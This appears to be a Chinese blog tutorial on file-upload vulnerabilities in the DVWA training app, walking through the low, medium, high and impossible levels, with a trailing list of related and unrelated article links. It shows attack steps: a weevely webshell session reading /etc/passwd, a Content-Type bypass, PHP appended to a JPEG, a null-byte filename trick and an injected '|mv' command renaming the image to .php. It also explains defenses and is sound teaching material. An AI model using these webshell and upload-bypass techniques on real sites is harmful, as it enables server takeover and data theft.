说起文件上传漏洞 ,可谓是印象深刻。有次公司的网站突然访问不到了,同事去服务器看了一下。所有 webroot 文件夹下的所有文件都被重命名成其他文件,比如 jsp 文件变成 jsp.s ,以致于路径映射不到 jsp 文件,同事怀疑是攻击者上传了个 webshell 文件然后进行批量重命名了。

把后台的代码都找了一遍,后台代码也都有验证文件扩展名的,后面是发现一张普通的照片其实是代码来的,但也不知道为何能够执行。但看完这篇文章你就会明白了。 下面用 dvwa 来演示如何攻击和防御。

低级

用户界面是这样的,是一个简单的上传文件功能。

然而 Hacker 就上传一个 phpinfo.php 文件

<?
phpinfo();
?>

。。。结果如下

然后打开链接 http://192.168.0.110:5678/hackable/uploads/phpinfo.php ,又看到熟悉的界面了。

Hacker 想用 webshell 的方式尝试一下。于是就用 Kali Linux 预装的 weevely 工具生成一个 webshell 文件,这里的 123456 是密码,这个 webshell 要用密码登录的。

weevely generate 123456 /root/webshell.php
Generated backdoor with password '123456' in '/root/webshell.php' of 1479 byte size.

上传完文件后,登录

weevely http://192.168.0.110:5678/hackable/uploads/webshell.php 123456
weevely> ls
dvwa_email.png
webshell.php
www-data@56e69b5b67b6:/var/www/html/hackable/uploads $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

就变成你的地盘我做主了。 再来看看低级代码。

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
} ?>

为何会变成这样的呢?觉得主要是没有限制文件扩展名吧。

中级

而中级代码,多了文件类型和文件大小的限制

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; // Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) { // Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
} ?>

这里代码看上去好像类型都判断了,应该是不能上传 php 代码了吧。 然而 Hacker 打开火狐浏览器的调试器(谷歌浏览器没有修改功能,用 brup suite 之类的抓包也可以的),找到对应请求后右键选择-> edit and resend 然后将头部的 content-type 改掉,再重发请求

结果如下

打开链接 http://192.168.0.110:5678/hackable/uploads/phpinfo.php ,依然能看到熟悉的界面。

高级

中级的代码有漏洞的原因是用 content-type 去判断文件类型了,如果用扩展名去判断还有问题吗?高级代码就是这样想的,代码如下

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) { // Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>

我尝试过将 phpinfo.php 改成 phpinfo.php.png ,然而不成功,因为调用了 getimagesize 这个函数,如果不是图片文件就会返回 false。 但是如果这图片既是图片又是代码呢? 有人能想到了吗? 11年左右百度贴吧风靡一时图种

比如这是大家老婆的图片

保存下来,将扩展名改成 zip ,再解压(用命令行 unzip)。。。就有福利。

为什么可以这样 因为比如文件有特定的 jpg 标识,如果用看图程序打开,只会去看有图片标识的那部分,如果用 zip 压缩文件打开,也只会看有 zip 标识的那部分,其他部分会忽略的。 所以它既是图片也是种子。因此。我们可以制作类似图种的东西去注入 webshell。

  • windows copy /b D:\gakki.jpg + D:\webshell.php D:\gakki.jpg
  • linux/unix cat webshell.php >> gakki.jpg

所以我们可以制作一个 “图php"

cat phpinfo.php >> gakki.jpg

只是上传后,重命名是个问题。

php 5.4 之下还容易解决,因为那个版本就有个漏洞上传gakki.php%00.jpg这种文件会当成gakki.php来执行的,因为 c语言等语言是用 \0 判断字符符结束的,所以该会被服务器当成 gakki.php 执行。

在 File Upload 页面没法重名了。。。找不到其他方法。唯有借助同一级别下的漏洞比如是命令行注入漏洞

然后输入在 |mv ../../hackable/uploads/gakki.jpg ../../hackable/uploads/gakki.php ,再访问文件,结果如下

不可能

不可能级别的代码有添加了这些

  • 使用 imagecreatefromjpeg imagecreatefrompng 去掉了不属于图片的部分
  • 为文件重命名成 随机字符串。因为如何上传的文件是 phpshell.php.rar ,Apache 不认识 rar 格式就会向前解析,文件就解析成 phpshell.php 了。
  • 用 anti-token 解决一些 CSRF 问题

代码如下:

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; // Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) { // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img ); // Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
echo '<pre>Your image was not uploaded.</pre>';
} // Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
} // Generate Anti-CSRF token
generateSessionToken(); ?>

也有其他手段防御文件上传漏洞(《白帽子讲web安全》):

  • 设置文件目录不可以执行
  • 给文件服务器设置单独的域名,因为不同源的原因,请求会被浏览器拦截

DVWA 黑客攻防演练(五)文件上传漏洞 File Upload的更多相关文章

  1. Spring MVC-表单(Form)标签-文件上传(File Upload)示例(转载实践)

    以下内容翻译自:https://www.tutorialspoint.com/springmvc/springmvc_upload.htm 说明:示例基于Spring MVC 4.1.6. 以下示例显 ...

  2. vuetify | vue | 文件上传组件 | file | upload | form input[type="file"]

    今天无聊地写vuecli3听歌的时候,遇到了上传文件到Django的自我需求,然后就到vuetify的表单组件里找upload btn,发现居然没有!!! 顿时惊了个呆,要知道之前用element做操 ...

  3. DVWA 黑客攻防演练(一) 介绍及安装

    原本是像写一篇 SELinux 的文章的.而我写总结文章的时候,总会去想原因是什么,为什么会有这种需求.而我发觉 SELinux 的需求是编程人员的神奇代码或者维护者的脑袋短路而造成系统容易被攻击.就 ...

  4. 攻防:文件上传漏洞的攻击与防御,转自H3C

    WebShell就是以asp.php.jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门.黑客在入侵了一个网站后,通常会将这些asp或php后门文件与网站服务器WEB目 ...

  5. 1.4 DVWA亲测文件上传漏洞

    Low 先看看源代码: <?php if(isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $tar ...

  6. 使用Typescript重构axios(二十五)——文件上传下载进度监控

    0. 系列文章 1.使用Typescript重构axios(一)--写在最前面 2.使用Typescript重构axios(二)--项目起手,跑通流程 3.使用Typescript重构axios(三) ...

  7. 【DVWA】File Upload(文件上传漏洞)通关教程

    日期:2019-08-01 17:28:33 更新: 作者:Bay0net 介绍: 0x01. 漏洞介绍 在渗透测试过程中,能够快速获取服务器权限的一个办法. 如果开发者对上传的内容过滤的不严,那么就 ...

  8. DVWA的文件上传漏洞(high)

    1.使用文件包含漏洞和文件上传漏洞,来连接shell 文件包含漏洞详细的漏洞介绍:https://blog.csdn.net/Vansnc/article/details/82528395 文件包含函 ...

  9. DVWA靶机--简单的文件上传漏洞

    简单的文件上传漏洞(靶机安全级别:low) 事先准备好一句话木马,密码为pass 上传一句话木马,显示上传路径(一般网站是不会显示路径的,这里靶机为了方便你测试漏洞,直接显示出了路径: ../../h ...

随机推荐

  1. [Swift]LeetCode33. 搜索旋转排序数组 | Search in Rotated Sorted Array

    Suppose an array sorted in ascending order is rotated at some pivot unknown to you beforehand. (i.e. ...

  2. [Swift]LeetCode208. 实现 Trie (前缀树) | Implement Trie (Prefix Tree)

    Implement a trie with insert, search, and startsWith methods. Example: Trie trie = new Trie(); trie. ...

  3. [Swift]LeetCode927. 三等分 | Three Equal Parts

    Given an array A of 0s and 1s, divide the array into 3 non-empty parts such that all of these parts ...

  4. IntelliJ IDEA下SVN的配置及使用说明

    1 下载及安装SVN客户端. 到官网下载小乌龟SVN客户端,官网地址:https://tortoisesvn.net/downloads.html,根据操作系统情况选择适合版本.比如64为操作系统,如 ...

  5. 安装需要的第三方库时,命令行输入pip提示不是内部或外部命令

    简介 在做Python开发时,安装需要的第三方库时,大多数人喜欢选择在命令行用pip进行安装. 然而有时敲入pip命令会提示‘pip’不是内部或外部命令..如图: 解决办法 1.在python安装目录 ...

  6. ASP.NET Core 四种方式绑定枚举值

    前言 本节我们来讲讲在ASP.NET Core MVC又为我们提供了哪些方便,之前我们探讨过在ASP.NET MVC中下拉框绑定方式,这节我们来再来重点看看枚举绑定的方式,充分实现你所能想到的场景,满 ...

  7. C++11 实现生产者消费者模式

    代码都类似,看懂一个,基本都能理解了. 共有代码: #include <cstdlib>#include <condition_variable>#include <io ...

  8. Android--从系统Gallery获取图片

    前言 在Android应用中,经常有场景会需要使用到设备上存储的图片,而直接从路径中获取无疑是非常不便利的.所以一般推荐调用系统的Gallery应用,选择图片,然后使用它.本篇博客将讲解如何在Andr ...

  9. intelliJ idea #region 代码折叠

    在intelliJ idea中不仅可以对类.方法等结构的代码进行折叠(ctrl+-)还可以自定义折叠代码.intelliJ支持两种风格的自定义代码折叠,如下: visual studio style ...

  10. 【转载】ASP.NET Core Web 支付功能接入 支付宝-电脑网页支付篇

    转自:http://www.cnblogs.com/essenroc/p/8627775.html 这篇文章将介绍ASP.NET Core中使用 开源项目 Payment,实现接入支付宝-电脑网页支付 ...